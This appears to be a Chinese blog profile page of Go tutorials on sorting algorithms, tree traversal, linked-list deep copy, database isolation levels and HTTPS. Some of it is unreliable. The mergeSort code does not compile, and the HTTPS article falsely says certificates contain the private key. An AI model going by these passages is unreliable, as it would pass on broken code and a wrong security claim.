五行缺金

五行缺金 查看完整档案

填写现居城市  |  填写毕业院校  |  填写所在公司/组织填写个人主网站
编辑
_ | |__ _ _ __ _ | '_ \| | | |/ _` | | |_) | |_| | (_| | |_.__/ \__,_|\__, | |___/ 该用户太懒什么也没留下

个人动态

五行缺金 发布了文章 · 10月21日

字符串相乘

给定两个以字符串形式表示的非负整数 num1num2 ,返回 num1num2 的乘积,它们的乘积也表示为字符串形式

示例:

输入: num1 = "2", num2 = "3"
输出:“6”

思路

按照平时计算乘法的方式:竖式乘法。
num1num2 的每一位都分别相乘,结果保存在数组中,然后把乘积相加。
但是在实际的计算中,可以进行优化,在计算每一位的乘积的时候,把上一位的进位也考虑进去,这样代码更优雅一些。

关键部分

num1[i] * num2[j] 的结果,本位保存在 sumArr[i+j+1],进位保存在 sumArr[i+j], 当计算下一位的时候,把本位的积加上上一位的进位,就能算出当前的本位与进位。重复这一过程,直到两个字符串中每一位都已经相乘过了,数组中保存的就是计算结果。

func multiply(num1 string, num2 string) string {
    if num1 == "0" || num2 == "0" {
        return "0"
    }

    sumArr := make([]int, len(num1) + len(num2))

    for i := len(num2)-1; i >= 0; i -- {
        n2 := int(num2[i] - '0')
        for j := len(num1)-1; j >= 0; j -- {
            n1 := int(num1[j] - '0')
            sum := n2 * n1 + sumArr[i+j+1]
            sumArr[i+j+1] = sum % 10
            sumArr[i+j] += sum / 10
        }
    }

    res := ""
    for k, v := range sumArr {
        if k == 0 && v == 0 {
            continue
        }
        res += string(v + '0')
    }
    return res
}
公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步
查看原文

赞 0 收藏 0 评论 0

五行缺金 发布了文章 · 10月21日

为什么 go 中字符串不能用下标访问

在大多数编程语言中,字符串是可以直接通过下标访问的,但是在使用 go 语言的时候,直接使用下标访问有时候会出现一些乱码。
<!--more-->

数组

在解决这个问题之前,要先了解一个东西--数组:数组是用于存储多个相同类型数据的集合。并且数组在申请内存的时候,是一次申请一块连续的内存。比如我们创建一个数组,里面存了这几个元素。

数组空间

由于内存是连续的,元素的类型也是相同的,所以每个元素占用的内存空间也是固定的,比如 java 中 char 类型占用两个字节。数组的内存空间是平等划分的,这样就可以解释为什么可以靠下标访问了。

在可以用下标访问的语言中,字符串都是按照字符编码的。也就是说,你将字符串 “abcd” 赋给变量 a,本质上是创建了一个字符数组用来存放字符串。但是在 go 语言里不一样,go 语言的字符型是按照字节编码的,什么意思呢? 26 个英文字母,每个英文字母占一个字节,在 go 语言的 string 里面就占用一个字节。中文日文韩文就不一样了, go 语言内建只支持 utf8 编码,在 utf8 里面,有一部分汉字占用 3 个字节,一部分汉字占用 4 个字节。比如 "巧" 这个字,打印一下它的长度,发现这个 string 占用 3 个字节,加上 "a" 之后占用 4 个字节,应该能理解按字节编码的意思了。

汉字字母

编码

为什么要 go 要选择按照字节来编码呢,这其实是为了节省空间。想象一下,在UTF-8编码中,中文有些要三个字节,有一些要占用四个字节,而英文字母只需要占用一个字节。一个中文算一个字符,一个英文字母也算一个字符,但是占用的内存相差很大,假设有一个超长字符串,里面有英文字符远多于中文字符,如果按字符来存储,每个字符要分配四个字节。因为低于四个字节,有可能有些中文就不能正常存储了,在这种情况下,每存储一个英文字母,就要浪费三个字节的内存空间。

底层实现和其它语言就不一样,不同类型的字符占用的内存空间都不同,当然也就没有办法按照下标访问了,不信可以试试。
请输入图片描述

a[0] 是 97,等于字母 a 的 ascii 码,a[1] 是 229,显然不会是汉字 "巧" 的 utf8,事实它是 utf8 编码的第一字节的值。
请输入图片描述

打完收工,到这里弄清楚了 go 中 string 不能按照下标访问的原理了

公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步
查看原文

赞 0 收藏 0 评论 0

五行缺金 发布了文章 · 10月19日

数据库事务隔离级别

数据库的事务对数据并行访问的时候,有可能会出现一些问题,因此数据库设置了四个不同的隔离级别来解决问题。

在 MySQL 数据库的隔离级别可以分为四层,分别是读未提交、读提交、可重复读和串行化。与之对应出现的问题有脏读、幻读、不可重复读。

<!--more-->

隔离级别

读未提交(read uncommited)

一个事务还未提交时,它做的变更就能被其他的事务看到。

读提交(read commited)

一个事务提交之后,它做的变更才会被其他事务看到

可重复读(repeatable read)

一个事务执行过程中看到的数据,总是跟这个事务启动时看到的数据是一致的。在此隔离级别下,未提交的事务对其他事务也是不可见的。

串行化(serializable)

对同一行记录,“写” 会加 “写锁”,“读” 会加 “读锁”。当出现读写锁冲突的时候,后访问的事务必须等前一个事务执行完成,才能继续执行。
此隔离级别保证了数据的正确性,但是频繁的加锁会对性能造成严重的影响。

不同的事务隔离级别对应的问题

脏读

在 “读未提交” 级别下,未提交的变更被其他事务看到了,对其他事务来说,这些未提交的变更就是脏数据,这样的现象就称之为“脏读”。

不可重复读

在 “读提交” 级别下,只有事务提交之后,别的事务才能看到事务做的更改,但是当一个事务 A 在执行过程中多次查询某个值,第一次查询的时候值为 v1, 然后在事务 B 把值修改了,当事务 A 再次查询的时候,就会发现这个值不一样了,明明是同一个事务进行的查询操作,两次查询出来的结果却不同,这就是“不可重复读”

幻读

“幻读” 与 “不可重复读” 比较类似,事务 A 查询某个值,如果不存在,就插入,当事务 A 查询到不存在之后,事务 B 插入了这个值,事务 A 再去插入的时候就会发现之前查询不存在的值居然有了。解决幻读的方法就是设置事务隔离级别为“串行化”,即无论读写,都对数据加锁。

用下面这个过程来展示一下区别

事务A事务B
启动事务A,
查询得到值1
启动事务B
查询得到值1
将1改为2
查询得到值 v1
提交事务B
查询得到值 v2
提交事务 A
查询得到值 v3
  • 若隔离级别是“读未提交”,则 v1 的值就是2.这时候事务 B 虽然还没有提交,但是结果已经被 A 看到了。因此, v2、v3 都是 2。
  • 若隔离级别是“读提交”,则 v1 是 1, v2 的值是 2.事务 B 的更新在提交后才能被 A 看到。所以, v3 的值也是 2.
  • 若隔离级别是“可重复读”,则 v1、v2 是 1,v3 是 2。在“可重复读”级别下需要遵循这个要求:事务在执行期间看到的数据前后必须都是一直的。
  • 若隔离级别是“串行化”,则在事务 B 执行“将1改为2”的时候,会被锁住。知道事务 A 提交之后,事务 B 才可以继续执行。所以从 A 的角度看,v1、v2的值是 1,v3 的值是 2.

在事务的隔离级别实现上,数据库里面会创建一个视图,访问的时候以视图的逻辑结果为准。

  • 在“可重复读”隔离级别下,这个视图是在事务启动时创建的,整个事务执行期间都使用这个视图;
  • 在“读提交”级别下,这个视图是在每个 SQL 语句开始执行的时候创建的;
  • 如果是“读未提交”级别,直接返回记录上的最新值,没有视图概念;而在“串行化”级别下直接用加锁的方式来避免并行访问。
公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步
查看原文

赞 0 收藏 0 评论 0

五行缺金 发布了文章 · 10月19日

二叉树遍历

以前在数据结构的书上学过二叉树的遍历,老师讲了前序、中序、后序遍历三种,但是只是讲了一下概念,在纸上画一下遍历的过程,并没有讲代码的实现。
<!--more-->

算法思想

先序遍历

前序遍历的顺序是 根节点-左子树-右子树 。意思是从根节点开始,要一直访问左子树,直到没有左孩子,然后访问右子树。

前序遍历
(图片来自知乎)

理解起来应该是很简单的,不过实现起来就不一样了,图中演示的是用递归的方式遍历的,事实上还可以用迭代来实现,也就是 DFS 和 BFS。

中序遍历

中序遍历

后序遍历

在这个算法演示 的网站上没有找到后序遍历的图,后序遍历的过程就是 左子树-右子树-根节点。

定义树的结构,以下使用的是 golang

type TreeNode struct {
    Val   int
    Left  *TreeNode
    Right *TreeNode
}

DFS实现

在遍历二叉树之前先要生成一棵二叉树,可以看到,生成二叉树的过程也是递归的,并且类似这样的代码在很多与二叉树有关的地方都能用到,也可以叫做模板。

递归生成二叉树

package main

import "fmt"

type TreeNode struct {
    Val   int
    Left  *TreeNode
    Right *TreeNode
}

func main() {
    root := &TreeNode{}
    dfs(root, 1)
    fmt.Println(root.Left)

}

func dfs(p *TreeNode, depth int) {
    if depth < 3 {
        left := &TreeNode{Val: 2 * depth}
        right := &TreeNode{Val: 4 * depth}
        p.Left = left
        p.Right = right
        dfs(p.Left, depth+1)
        dfs(p.Right, depth+1)
    }
}

接下来才是遍历二叉树

func dfsbr(p *TreeNode, res *[]int) {
    if p != nil {
        *res = append(*res, p.Val)
        dfsbr(p.Left, res)
        dfsbr(p.Right, res)
    }
}

先访问左孩子节点,再访问右孩子节点,这就是先序遍历了。看一下打印出来的结果

$ go run main.go
[0 2 4 8 4 4 8]

binary

注意,golang 在root 初始化的时候会默认给 root 赋值,Val 的类型为 int ,因此初值为 0。对比一下二叉树和打印出来的节点,是符合 根节点-左子树-右子树 这个过程的。

关于后序遍历和中序遍历的递归实现其实是一样的,只是把递归的顺序变换了一下而已。

中序遍历

func dfsbr(p *TreeNode, res *[]int) {
    if p != nil {
        dfsbr(p.Left, res)
        *res = append(*res, p.Val)
        dfsbr(p.Right, res)
    }
}

后序遍历

func dfsbr(p *TreeNode, res *[]int) {
    if p != nil {
        dfsbr(p.Left, res)
        dfsbr(p.Right, res)
        *res = append(*res, p.Val)
    }
}

BFS实现

在 DFS 中,是使用的递归的方式查找,程序运行过程中的数据会保存在系统栈里。而使用 BFS 需要自己创建一个队列,保存程序运行中途的信息。

层序遍历

func bfs(p *TreeNode) []int {
    res := make([]int, 0)
    if p == nil {
        return res
    }
    queue := []*TreeNode{p}
    for len(queue) > 0 {
        length := len(queue)
        for length > 0 {
            length--
            if queue[0].Left != nil {
                queue = append(queue, queue[0].Left)
            }
            if queue[0].Right != nil {
                queue = append(queue, queue[0].Right)
            }
            res = append(res, queue[0].Val)
            queue = queue[1:]
        }
    }
    return res
}

打印结果

$ go run main.go 
[0 2 4 4 8 4 8]

可以看到,层序遍历的结果和上图中画出来的二叉树是一一对应的。

先序遍历

/**
 * Definition for a binary tree node.
 * type TreeNode struct {
 *     Val int
 *     Left *TreeNode
 *     Right *TreeNode
 * }
 */
func preorderTraversal(root *TreeNode) []int {
    result := make([]int, 0)

    if root == nil {
        return result
    }

    queue := make([]*TreeNode, 0)

    for len(queue) > 0 || root != nil {
        for root != nil {
            result = append(result, root.Val)
            queue = append(queue, root)
            root = root.Left
        }
        root = queue[len(queue) - 1].Right
        queue = queue[:len(queue) - 1]
    }
    return result
}

中序遍历

/**
 * Definition for a binary tree node.
 * type TreeNode struct {
 *     Val int
 *     Left *TreeNode
 *     Right *TreeNode
 * }
 */
func inorderTraversal(root *TreeNode) []int {
    result := make([]int, 0)
    
    if root == nil {
        return result
    }

    queue := make([]*TreeNode, 0)
    
    for len(queue) > 0 || root != nil {
        for root != nil {
            queue = append(queue, root)
            root = root.Left
        }

        node := queue[len(queue) - 1]
        queue = queue[:len(queue) - 1]
        result = append(result, node.Val)
        root = node.Right
    }
    return result
}

后序遍历

func postorderTraversal(root *TreeNode) []int {
    result := make([]int, 0)

    if root == nil {
        return result
    }

    queue := make([]*TreeNode, 0)
    var lastVisited *TreeNode

    for len(queue) > 0 || root != nil{
        for root != nil {
            queue = append(queue, root)
            root = root.Left
        }
        n := queue[len(queue) - 1]    
        if n.Right == nil || n.Right == lastVisited {
            result = append(result, n.Val)
            queue = queue[:len(queue) - 1]
            lastVisited = n
        } else {
            root = n.Right
        }
    }

    return result
}
公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步
查看原文

赞 0 收藏 0 评论 0

五行缺金 发布了文章 · 10月19日

如何理解 HTTPS

经常都在听说 https ,在谷歌浏览器上浏览不是 https 的网站,都会提示网站不安全。那到底什么是 https ,以前大概了解过一点点,但是对它的原理则是很模糊,趁着这次作业的机会,好好看看一下协议的实现方式。

<!--more-->

http

谈 https 之前先说一下 http, http 是位于应用层的网络协议,主要用于网络中数据的传输,但是 http 传输是明文传输,这意味着网络上的任何一个人都可以看到你发送了什么消息,接收了什么消息。如果世界上没有不怀好意的人,那这样确实没有什么问题,然而总是有一些变态,或者是坏蛋,喜欢躲在角落里偷窥别人的生活,以此来达到自己的目的。

加密的方式

为了防止被人偷窥,只能想办法加密传输的数据。从大的方面来说,加密可以分为对称加密和非对称加密两种。

对称加密

对称加密很好理解,依靠一种加密算法,生成一个密钥,你可以用这一个密钥对需要加密的数据进行加密,也可以用这个密钥对数据进行解密。总之一个密钥就能完成所有事了,but 问题不在于加密算法,而在于这个密钥要怎么保存。想一想,有没有在不经意间看到过别人输入密码?人是不可靠的,安全问题不能靠人来保证。

非对称加密

非对称加密跟对称加密差距就大了,非对称加密会生成一个公钥和一个私钥;公钥可以公开出来,任何人都可以看到,并且使用公钥对数据进行加密,但是解密只能用私钥来进行解密(理论上是这样)。这样就只需要保存好私钥就行了,如果需要和别人进行通信,只需要把自己的公钥发送过去,这样就可以了。

选择

单对称加密

上面也有解释过,对称加密是不行的,密钥的保存是个大问题。

单非对称加密

单非对称加密应该是可行的,但是每次传输数据双方都需要进行非对称加密的解密运算。非对称加密从数学上保证了从公钥推导出私钥的难度是相当大的,要实现这样的效果,必然要经过大量的运算(与对称加密相比),这会造成大量性能的损耗。

建立会话

https 建立会话的认证过程也是很难的。

如果没有 CA

在没有 CA 的情况下,客户端和服务端需要建立连接。这时候的流程是怎么样的?

客户端服务端
request生成一个密钥对:k1 为公钥,k2 为私钥,
发送 k1 给客户端
用对称加密算法生成一个密钥"k",
使用 k1 来加密 “k”,获得密文“k3”,
发送给服务端
服务端用 “k2” 来解密 “k3”,获得 "k",
,然后就可以使用 "k"作为密钥传送数据

问题?

上面这样的步骤就已经安全了吗???

看似是没有什么问题,但其实有一个很大的问题:身份认证。

你怎么知道你收到的公钥是网站发送给你的呢?在你和网站中间,如果有一个人把网站发给你的公钥拦截了,然后把自己的公钥发送给你,然后再把你发送的数据发送到网站。如果有想法,还能篡改你发送的数据,burpsuite 这种软件就是依靠这样的原理。比较官方的称呼叫做“中间人攻击”。

解决问题

既然问题是身份认证的问题,那就要想办法解决它。要证实双方的身份,那就需要引入公证人,在 https 中就是证书。一个机构,如果全世界都相信它,那我们也可以选择相信它,也包括机构颁发的证书,因此只要机构足够权威,就可以用来证实网站的身份。

因此网站就不能向之前那样自己生成一个公钥,然后发送出去和客户端进行通信了。网站的管理者需要向 CA 申请一个证书,证书中包括了公钥,私钥以及证书的有效信息,以保证证书的真实性和有效性。因为这些机构是足够权威的,因此操作系统和浏览器默认就安装了这些机构的证书,在进行身份认证的时候,会通过本地的证书进行校验,如果网站的证书是有效的,那就认为此次身份认证成功,可以进行数据传输了。

下面这个图是 TLS 握手的流程。
tls1.2

公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步
查看原文

赞 0 收藏 0 评论 0

五行缺金 发布了文章 · 10月11日

冒泡、选择、插入排序

三个时间复杂度为 O(n^2)的排序算法

排序有很多种,有些算法连名字都没听过,经过这段时间的刷题,我在这里总结一下几个常见的排序。我们都知道,算法是要考虑时间复杂度和空间复杂度的,所以我把算法分了三类,分别是时间复杂度是 O(n^2)、O(nlogn)、O(n)。注意这里的时间复杂度是指平均时间复杂度,关于最坏情况下的时间复杂度和最好情况下的时间复杂度在下面讨论。

对于排序算法,我们需要了解几个问题,算法的时间复杂度是多少?是否是原地排序算法?算法是否稳定?

时间复杂度我个人感觉可以理解为代码需要执行的次数,次数越多,所花费的时间就越长,当然是要在同等的数据量下比较。而原地排序的概念,可以扯到空间复杂度上面,原地排序,顾名思义就是直接在原数组进行排序操作,不需要申请额外的内存空间,空间复杂度为 O(1)。最后是算法是否稳定,何为稳定,当一个数组中有两个相等的数的时候,若排序之后,两个相等的数的顺序不会发生改变,这就是一个稳定的算法,反之就是不稳当的算法。

冒泡排序

顾名思义,就是要把待排序的元素一点点的往上替换,就好像气泡从水里浮起来一样。那它的具体实现过程呢?我们想象一组等待排序的元素,比如 2、5、1、7、0 这五个数字,如果我们要把它从小到大排序怎么办。

按照冒泡的算法,我们先把第一个和第二个两个相邻的数字,比较它们的大小,如果 2 比 5 大,就把 2 和 5 的位置互换,当然 2 肯定是比 5 小的,所以第一步不交换,第二步比较 5 和 1,这时 5 比 1 要大,所以把 5 和 1 的位置互换,重复这个操作,当第一次冒泡完成的时候,7 就已经排到了最后面。每次冒泡可以使得一个数字移动到它应该处于的位置上,重复 n 次就可以对 n 个数据完成排序,因此冒泡的时间复杂度是 O(n^2)。下面是演示

maopao

来看一下代码实现,我这里使用的是 go 语言,但是原理都是一样的,是不是很简单。

package main
import "fmt"
func main(){
    a :=[]int{1,2,5,8,3,}
    bubbleSort(a)
    fmt.Println(a)
}
func bubbleSort(array []int) {//这里是实现冒泡排序的函数
    n := len(array)
    for i := 0; i < n; i++{
        for j := 1; j < n; j++{
            if array[j] < array[j-1] {
                temp := array[j]
                array[j] = array[j-1]
                array[j-1] = temp
            }
        }
    }
}

当然,我们可以对冒泡排序做出一些优化,比如说当某一冒泡的时候没有元素移动,这时候就可以停止了,因为没有元素移动,说明已经是有序了。

可以看到,在代码中只申请了一个临时变量,交换过程都是直接在原数组操作,所以冒泡排序是一个原地排序算法,同时如果两个数相等的时候,是可以不交换位置的,因此是一个稳定的算法。

插入排序

上面的冒泡排序是对一个静态的数组排序,如果我们对一个已经有序的数组插入一个值,怎么能保持它还是有序的呢?这就要用到插入排序了。

插入排序的思想就是把待排序的元素分为已排序部分和未排序部分,每一次从未排序部分中取出一个值,插入到已排序部分中,最后未排序部分为空时,就完成了对元素的排序。看动图就容易理解了
插入排序

代码实现

package main
import "fmt"
func main(){
    a :=[]int{7,2,9,0,3,}
    insertionSort(a)
    fmt.Println(a)
}
func insertionSort(arr []int) []int {
        for i := range arr {
                preIndex := i - 1
                current := arr[i]
                for preIndex >= 0 && arr[preIndex] > current {
                        arr[preIndex+1] = arr[preIndex]
                        preIndex--
                }
                arr[preIndex+1] = current
        }
        return arr
}

关于插入排序的时间复杂度,在最好情况下,向一个有序的数组中插入一个值,只需要遍历一次,所以时间复杂度是 O(n),在最坏情况下,数组是倒序的,每次插入都相当于在数组的第一个位置插入,所以时间复杂度是 O(n^2)。那么平均时间复杂度呢?我们知道在一个数组中插入一个值的时间复杂度是 O(n),那么插入 n 个数据就是 O(n^2)。

插入排序如同冒牌排序,也是一个原地排序算法,同样的可以不交换相等的数,因此也是一个稳定的算法。

选择排序

选择排序和插入排序类似,也是需要先划分出已排序部分和未排序部分,不过选择排序是每次从未排序部分中选择出最大或者最小的元素,然后插入到前面的已排序部分中。

在最好情况下,从第一个数据开始,每个都需要对数组进行遍历,即使我们知道这个数组已经是有序的,但是按照算法还是要逐个扫描,每向已排序部分插入一个值都要遍历一次,因此时间复杂度是 O(n^2)。同样的,不管是最坏情况,还是平均时间复杂度,都是 o(n^2)。

选择排序

代码

package main
import "fmt"
func main(){
    a :=[]int{7,2,9,0,3,}
    selectionSort(a)
    fmt.Println(a)
}
func selectionSort(array []int)[]int {
    length := len(array)
    if length < 2 {return array}
    for i := 0; i < length; i++ {
        for j := i; j < length; j++ {
            if array[j] < array[i] {
                temp := array[j]
                array[j] = array[i]
                array[i] = temp
            }
        }
    }
    return array
}

选择排序是原地排序算法吗?当然是,和上面一样,同样是 o(1) 的空间复杂度,那选择排序是一个稳定的算法吗?这就不是了,它每次把最小的交换到前面去,那么被交换到后面的数字可能和中间有的数字是相等的,这时候它们的顺序就发生了改变。比如 3,4,6,3,2 这五个数字,第一轮会把第一个 3 和最后的 2 交换位置,这时两个 3 的顺序就发生改变了,所以是不稳定的算法。

插入排序和冒泡排序相比较呢?插入排序又要比冒泡排序更好一点,同样都是 O(n^2) 的时间复杂度和 O(1) 的空间复杂度,插入排序中赋值操作比冒泡中要少。数据少的时候差距不大,当数据量大的时候,多出来的这两步赋值操作消耗的时间就很明显了。

公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步
查看原文

赞 0 收藏 0 评论 0

五行缺金 发布了文章 · 10月11日

链表深拷贝

在 leetcode 上做到了一道题,让返回一个链表的深拷贝,感觉很有意思,记录一下。

深拷贝和浅拷贝

什么是浅拷贝?当你在拷贝一种数据结构的时候(结构体、类、map...),如果拷贝的只是这个数据结构的引用,那么这就是浅拷贝

举个例子(浅拷贝)

此时有一个 map,暂且命名为 "s",存放一个 1

s := make(map[int]int, 0)
s[1] = 1

将 "s" 拷贝给 map "p",修改 p 的值

p[1] = 2

分别打印出修改前和修改后 "s" 里存的值,看看是什么效果。

s := make(map[int]int, 0)
s[1] = 1
fmt.Println(s)
p := s
p[1] = 2
fmt.Println(s)

输出

map[1:1]
map[1:2]

修改 p 的值,但是 s 里的值也发生了变化,这说明 s 和 p 实际上都是指向的同一块内存地址,也就是说,在拷贝 s 到 p 的时候,其实只是拷贝了一个指针,这就是浅拷贝。

深拷贝

和浅拷贝与之相对应的就是深拷贝,深拷贝就不是只拷贝一个指针,而是要拷贝指针指向的内存中的所有数据,对于 map 的拷贝,流行的做法都是通过序列化和反序列化来做。

看题

来看一下这道题目

给定一个链表,每个节点包含一个额外增加的随机指针,该指针可以指向链表中的任何节点或空节点。

要求返回这个链表的?深拷贝。?

我们用一个由?n?个节点组成的链表来表示输入/输出中的链表。每个节点用一个?[val, random_index]?表示:

val:一个表示?Node.val?的整数。
random_index:随机指针指向的节点索引(范围从?0?到?n-1);如果不指向任何节点,则为??null?。

示例1

1

输入:head = [[7,null],[13,0],[11,4],[10,2],[1,0]]
输出:[[7,null],[13,0],[11,4],[10,2],[1,0]]

思考

  • 拷贝一个链表,如果没有 random 指针,那就简单了,就是最基础的遍历一次链表,然后创建节点值就行。
  • 如果不要求深拷贝,可以在创建链表的时候把原链表的 random 指针直接赋给新链表。

偏偏是两个要求都有,这就有点伤脑了,主要是要想办法保存每一个节点的 random 指针指向的位置,在创建新链表的时候,相对应的指针也要指向相对的位置。

我在这里只记录一种解法:将每个节点的克隆链接到对应节点的后面,使得新旧链表交替连接,处理 random 指针之后再把两个链表分开。

链接之后应当是这样。
2

处理 random 指针。

3

此时 random 已经指向了正确的位置,只需要将两个链表分开就行。

golang 完整实现

func copyRandomList(head *Node) *Node {
    if head == nil {
        return head
    }
    // 复制节点,紧挨到到后面
    // 1->2->3  ==>  1->1'->2->2'->3->3'
    cur := head
    for cur != nil {
        clone := &Node{Val: cur.Val, Next: cur.Next}
        temp := cur.Next
        cur.Next = clone
        cur = temp
    }
    // 处理random指针
    cur = head
    for cur != nil {
        if cur.Random != nil {
            cur.Next.Random = cur.Random.Next
        }
        cur = cur.Next.Next
    }
    // 分离两个链表
    cur = head
    cloneHead := cur.Next
    for cur != nil && cur.Next != nil {
        temp := cur.Next
        cur.Next = cur.Next.Next
        cur = temp
    }
    // 原始链表头:head 1->2->3
    // 克隆的链表头:cloneHead 1'->2'->3'
    return cloneHead
}
公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步
查看原文

赞 0 收藏 0 评论 0

五行缺金 发布了文章 · 10月9日

快速排序、归并排序

快速排序

在解释之前,先上一张快排的图,我发现直接看图理解算法更简单

快速排序动图

首先需要了解的是,快速排序的过程是递归调用的。

步骤:

  • 先选出一个参考值,用来进行比较。这个参考值可以从待排序的数组里任选一个,一般选择第一个或者最后一个。
  • 在选出一个参考值之后,开始遍历数组,把比参考值小的放到它的左边,大于等于它的放到右边;在实现的时候就是交换位置。在实现的时候,需要维护两个指针,头指针和尾指针,如果遍历的数比参考值小,就让这个数和头指针指向的数交换位置,并且头指针向右移动一步,类似的,尾指针则是向左移动一步。

代码实现

package main

func quickSort(nums []int) {
    if len(nums) < 2 {
        return
    }
    head, tail := 0, len(nums)-1
    Reference := nums[0]
    i := 1
    for head < tail {
        if nums[i] < Reference {
            nums[i], nums[head] = nums[head], nums[i]
            head++
            i++
        } else {
            nums[i], nums[tail] = nums[tail], nums[i]
            tail--
        }
    }
    quickSort(nums[:head])
    quickSort(nums[head+1:])
}

可以看到,最后对参考值左边和右边的数进行递归排序,一直到只剩下两个数的时候,得到了正确的顺序之后返回之前的调用,最终就得到了排序后的结果。

空间复杂度: O(1), 在执行过程中只申请了一个 reference,因此空间复杂度是 O(1)

时间复杂度: O(nlogn), 这里贴个计算公式,

T(1) = C;   n=1时,只需要常量级的执行时间,所以表示为C。
T(n) = 2*T(n/2) + n; n>1

解释一下:数组的时间复杂度为 T(n),那么当分为两部分之后,每一个部分的时间复杂度应为 T(n/2),而合并两个数组的时间复杂度是 n,因此总的时间复杂度是 2*T(n/2) + n。这个公式是计算递归算法时间复杂度的一个公式,快排可以用,归并排序也可以同样的计算。

求解 T(n) 的过程:


T(n) = 2*T(n/2) + n
     = 2*(2*T(n/4) + n/2) + n = 4*T(n/4) + 2*n
     = 4*(2*T(n/8) + n/4) + 2*n = 8*T(n/8) + 3*n
     = 8*(2*T(n/16) + n/8) + 3*n = 16*T(n/16) + 4*n
     ......
     = 2^k * T(n/2^k) + k * n
     ......

上面的求解过程其实并不是很符合快速排序,因为把数组一分为二的前提是选取的参考值正好是整个能让整个数组一分为二。瞎蒙一个都有这种效果,显然概率是比较小的,但是在估算的时候就先这么算吧。。。非要去推导公式我也不会。。。

当 T(n/2^k) = T(1) 时,即 n/2^k = 1,所以 k = logn,代入上面的公式得 T(n)=Cn+nlog2n,即 O(nlogn)。

但是快速排序的性能与它的分区点选取是有关系的,如果一个有序的数组,我们每次都选取了最后一个来作为参考,这样就需要进行 n-1 次分区,使得快排的时间复杂度退化到 O(n^2)

归并排序

还是先上一张归并排序的动图

归并排序

与快速排序不同的是,归并排序不需要选参考值,直接从中间分开,一直分到最后一个一组,再合并起来,最重要的也是这个 merge 操作,创建一个临时数组,因为待合并的两个数组都是有序的,因此可以把两个待合并的数组按从小到大的顺序插入临时数组中。最终合并到只剩下一个数组的时候就是结果了。

代码实现

package main

func mergeSort(nums []int, left int, right int) {
    if left >= right { 
        return 0
    }
    tmp := []int{}
    mid := left + (right-left)/2
    mergeSort(nums, left, mid) 
    mergeSort(nums, mid+1, right)
    i, j := left, mid+1

    for i <= mid && j <= right { // merge 操作
        if nums[i] <= nums[j] {
            tmp = append(tmp, nums[i])
            count += j - (mid + 1)
            i++
        } else {
            tmp = append(tmp, nums[j])
            j++
        }
    }

    for ; i <= mid; i++ { //右边没有数据了,左边还有
        tmp = append(tmp, nums[i])
    }
    for ; j <= right; j++ {
        tmp = append(tmp, nums[j]) //右边都是有序的了
    }
    for i := left; i <= right; i++ {
        nums[i] = tmp[i-left] //拷贝回原数组
    }
}

时间复杂度: O(nlogn),可以看上面的递推公式,原理都是一样的

空间复杂度:O(n),如果按照上面的公式递推,其实空间复杂度应该是 O(nlogn) 才对,但是每次合并完成后,占用的内存空间都被系统释放了,因此同一时刻只有一个临时数组占用了空间,因此时间复杂度是 O(n)。

公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步
查看原文

赞 0 收藏 0 评论 0

五行缺金 发布了文章 · 10月9日

二叉树遍历

以前在数据结构的书上学过二叉树的遍历,老师讲了前序、中序、后序遍历三种,但是只是讲了一下概念,在纸上画一下遍历的过程,并没有讲代码的实现。
<!--more-->

算法思想

先序遍历

前序遍历的顺序是 根节点-左子树-右子树 。意思是从根节点开始,要一直访问左子树,直到没有左孩子,然后访问右子树。

前序遍历
(图片来自知乎)

理解起来应该是很简单的,不过实现起来就不一样了,图中演示的是用递归的方式遍历的,事实上还可以用迭代来实现,也就是 DFS 和 BFS。

中序遍历

中序遍历

后序遍历

在这个算法演示 的网站上没有找到后序遍历的图,后序遍历的过程就是 左子树-右子树-根节点。

定义树的结构,以下使用的是 golang

type TreeNode struct {
    Val   int
    Left  *TreeNode
    Right *TreeNode
}

DFS实现

在遍历二叉树之前先要生成一棵二叉树,可以看到,生成二叉树的过程也是递归的,并且类似这样的代码在很多与二叉树有关的地方都能用到,也可以叫做模板。

递归生成二叉树

package main

import "fmt"

type TreeNode struct {
    Val   int
    Left  *TreeNode
    Right *TreeNode
}

func main() {
    root := &TreeNode{}
    dfs(root, 1)
    fmt.Println(root.Left)

}

func dfs(p *TreeNode, depth int) {
    if depth < 3 {
        left := &TreeNode{Val: 2 * depth}
        right := &TreeNode{Val: 4 * depth}
        p.Left = left
        p.Right = right
        dfs(p.Left, depth+1)
        dfs(p.Right, depth+1)
    }
}

接下来才是遍历二叉树

func dfsbr(p *TreeNode, res *[]int) {
    if p != nil {
        *res = append(*res, p.Val)
        dfsbr(p.Left, res)
        dfsbr(p.Right, res)
    }
}

先访问左孩子节点,再访问右孩子节点,这就是先序遍历了。看一下打印出来的结果

$ go run main.go
[0 2 4 8 4 4 8]

binary

注意,golang 在root 初始化的时候会默认给 root 赋值,Val 的类型为 int ,因此初值为 0。对比一下二叉树和打印出来的节点,是符合 根节点-左子树-右子树 这个过程的。

关于后序遍历和中序遍历的递归实现其实是一样的,只是把递归的顺序变换了一下而已。

中序遍历

func dfsbr(p *TreeNode, res *[]int) {
    if p != nil {
        dfsbr(p.Left, res)
        *res = append(*res, p.Val)
        dfsbr(p.Right, res)
    }
}

后序遍历

func dfsbr(p *TreeNode, res *[]int) {
    if p != nil {
        dfsbr(p.Left, res)
        dfsbr(p.Right, res)
        *res = append(*res, p.Val)
    }
}

BFS实现

在 DFS 中,是使用的递归的方式查找,程序运行过程中的数据会保存在系统栈里。而使用 BFS 需要自己创建一个队列,保存程序运行中途的信息。

层序遍历

func bfs(p *TreeNode) []int {
    res := make([]int, 0)
    if p == nil {
        return res
    }
    queue := []*TreeNode{p}
    for len(queue) > 0 {
        length := len(queue)
        for length > 0 {
            length--
            if queue[0].Left != nil {
                queue = append(queue, queue[0].Left)
            }
            if queue[0].Right != nil {
                queue = append(queue, queue[0].Right)
            }
            res = append(res, queue[0].Val)
            queue = queue[1:]
        }
    }
    return res
}

打印结果

$ go run main.go 
[0 2 4 4 8 4 8]

可以看到,层序遍历的结果和上图中画出来的二叉树是一一对应的。

先序遍历

/**
 * Definition for a binary tree node.
 * type TreeNode struct {
 *     Val int
 *     Left *TreeNode
